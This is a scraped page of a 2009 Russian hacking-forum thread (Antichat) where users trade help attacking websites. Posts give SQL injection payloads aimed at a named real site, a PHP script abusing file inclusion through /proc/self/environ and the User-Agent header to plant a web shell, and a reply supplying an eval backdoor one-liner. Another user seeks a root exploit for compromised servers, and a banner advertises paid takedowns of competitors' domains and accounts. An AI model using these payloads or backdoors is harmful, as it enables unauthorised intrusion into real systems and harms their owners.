Форум АНТИЧАТ - Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1079 из 1393

1079

Опции темы

Поиск в этой теме

Опции просмотра

#10781

15.12.2009, 13:05

Qwazar

Leaders of Antichat - Level 4

Регистрация: 02.06.2005

Сообщений: 1,411

Провел на форуме:
10605912

Репутация: 4693

Цитата:

Сообщение от ILYAtirtir

Если в лимите и после order by то никак.

Можно, если FILE_PRIV = Y (В этой же теме вопрос уже всплывал).

__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

#10782

15.12.2009, 15:38

~~Matnya~~

Banned

Регистрация: 02.12.2009

Сообщений: 23

Провел на форуме:
48201

Репутация: -55

Часто попадаеться шелл с фряхой 6.3. и на всех биндиться порт. Токо эксплоита не могу найти под неё. Можеть ктонить знает?

#10783

15.12.2009, 21:56

Micr0b

Участник форума

Регистрация: 14.01.2006

Сообщений: 242

Провел на форуме:
2630617

Репутация: 245

Отправить сообщение для Micr0b с помощью ICQ

Не могу никак прорулить скуль.

В которой фильтрующийся слова select ,union, or, and, order, group

Warning: pg_query() [function.pg-query]: Query failed: ERROR: ошибка синтаксиса в или рядом "UNION" LINE 3: WHERE c.id = 57+UNION ^ in /opt/newrss/htdocs/sabre/libs/Db_pgsql.php on line 37

Warning: pg_query() [function.pg-query]: Query failed: ERROR: колонка "UNIONN" не существует LINE 3: WHERE c.id = 57+UNIONN ^ in /opt/newrss/htdocs/sabre/libs/Db_pgsql.php on line 37

узнал что стоит PostgreSQL 8.2.9 on i386-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070925 (Red Hat 4.1.2-27)

Прочитал http://forum.antichat.ru/thread35599.html результату не дало!(
Есть выход?)

#10784

15.12.2009, 22:01

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

"+" замени на пробел и все заработает)

#10785

16.12.2009, 00:06

Micr0b

Участник форума

Регистрация: 14.01.2006

Сообщений: 242

Провел на форуме:
2630617

Репутация: 245

http://dev.rssportal.ru/catalog/57'+order+by+1/*

#10786

16.12.2009, 00:19

~~Matnya~~

Banned

Регистрация: 02.12.2009

Сообщений: 23

Провел на форуме:
48201

Репутация: -55

PHP код:


		
			
<?php

$host = "www.ыаывпывпыпывпп";

$port = 80;

$script = "/index.php?page=../../../../../../../proc/self/environ";

$shell = file_get_contents("shell.php");

$sock = fsockopen($host,$port);

if(!$sock)

    echo "Error";

else

{

$head = "POST $script HTTP/1.1\r\n";

$head .= "Host: $host\r\n";

$head .= 'User-Agent: <?php fwrite(fopen("shell.php","w+"),$shell) ?>'."\r\n";

$head .= "Accept-Language: ru\r\n";

$head .= "Content-Type: application/x-www-form-urlencoded\r\n";

$head .= "Content-Lenght: ".strlen($shell)."\r\n";

$head .= "\r\n$shell\r\n";

fwrite($sock,$head);

while(!feof($sock))

{

$respons .= fgets($sock,1024);

}

fclose($sock);

}

?>

почему не работает? на сайте создаётся пустой файл (без кода)

#10787

16.12.2009, 00:28

l1ght

Reservists Of Antichat - Level 6

Регистрация: 05.12.2006

Сообщений: 195

Провел на форуме:
14023893

Репутация: 2163

Цитата:

Сообщение от Micr0b

http://dev.rssportal.ru/catalog/57'+order+by+1/*

dev.rssportal.ru/catalog/1111111111111111'1'union(select(null)from(select(1 ))a)
как то так

/add
или так
http://dev.rssportal.ru/catalog/1111111111111111'1'and(1)=version()::int

__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..

Последний раз редактировалось l1ght; 16.12.2009 в 00:35..

#10788

16.12.2009, 01:02

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

Провел на форуме:
9220514

Репутация: 3338

Отправить сообщение для Pashkela с помощью ICQ

Цитата:

Сообщение от Matnya

PHP код:


		
			
<?php

$host = "www.ыаывпывпыпывпп";

$port = 80;

$script = "/index.php?page=../../../../../../../proc/self/environ";

$shell = file_get_contents("shell.php");

$sock = fsockopen($host,$port);

if(!$sock)

    echo "Error";

else

{

$head = "POST $script HTTP/1.1\r\n";

$head .= "Host: $host\r\n";

$head .= 'User-Agent: <?php fwrite(fopen("shell.php","w+"),$shell) ?>'."\r\n";

$head .= "Accept-Language: ru\r\n";

$head .= "Content-Type: application/x-www-form-urlencoded\r\n";

$head .= "Content-Lenght: ".strlen($shell)."\r\n";

$head .= "\r\n$shell\r\n";

fwrite($sock,$head);

while(!feof($sock))

{

$respons .= fgets($sock,1024);

}

fclose($sock);

}

?>

почему не работает? на сайте создаётся пустой файл (без кода)

потому что php-скрипт, прописанный в user-agent, выполняется на стороне сервера (в чем и есть суть уязвимости), а ты пытаешься взять содержимое шелла со своего компьютера, а скрипт, записанный в user-agent, ищет файл на сервере, есс-но не находит и просто создает пустой файл. Вывод - все, что ты хочешь записать в файл - пиши прямо в php-код в user-agent, например <?if (isset($_REQUEST[data_time])) eval(stripslashes($_REQUEST[data_time]));?>

PS: Представляешь, чтобы было, если бы работало так, как ты хочешь? Я написал php-скрипт на сервере и читаю любой файл на ТВОЕМ компе? )))

Последний раз редактировалось Pashkela; 16.12.2009 в 01:07..

#10789

16.12.2009, 01:03

YuNi|[c

Участник форума

Регистрация: 17.09.2006

Сообщений: 248

Провел на форуме:
556476

Репутация: 66

слышал про http method:seccomp но везде говорят одинаково и нету подробного обьяснения

#10790

16.12.2009, 01:17

~~Matnya~~

Banned

Регистрация: 02.12.2009

Сообщений: 23

Провел на форуме:
48201

Репутация: -55

Цитата:

Сообщение от Pashkela

спс. щас буду фиксить. я просто думал что интерпритатор, сам вместо той переменной подставит код, который в ней. а он это ХЗ почему не сделал.

UDP: Аааааааааааа всё допёр.

Страница 1079 из 1393

1079

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Форумы	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход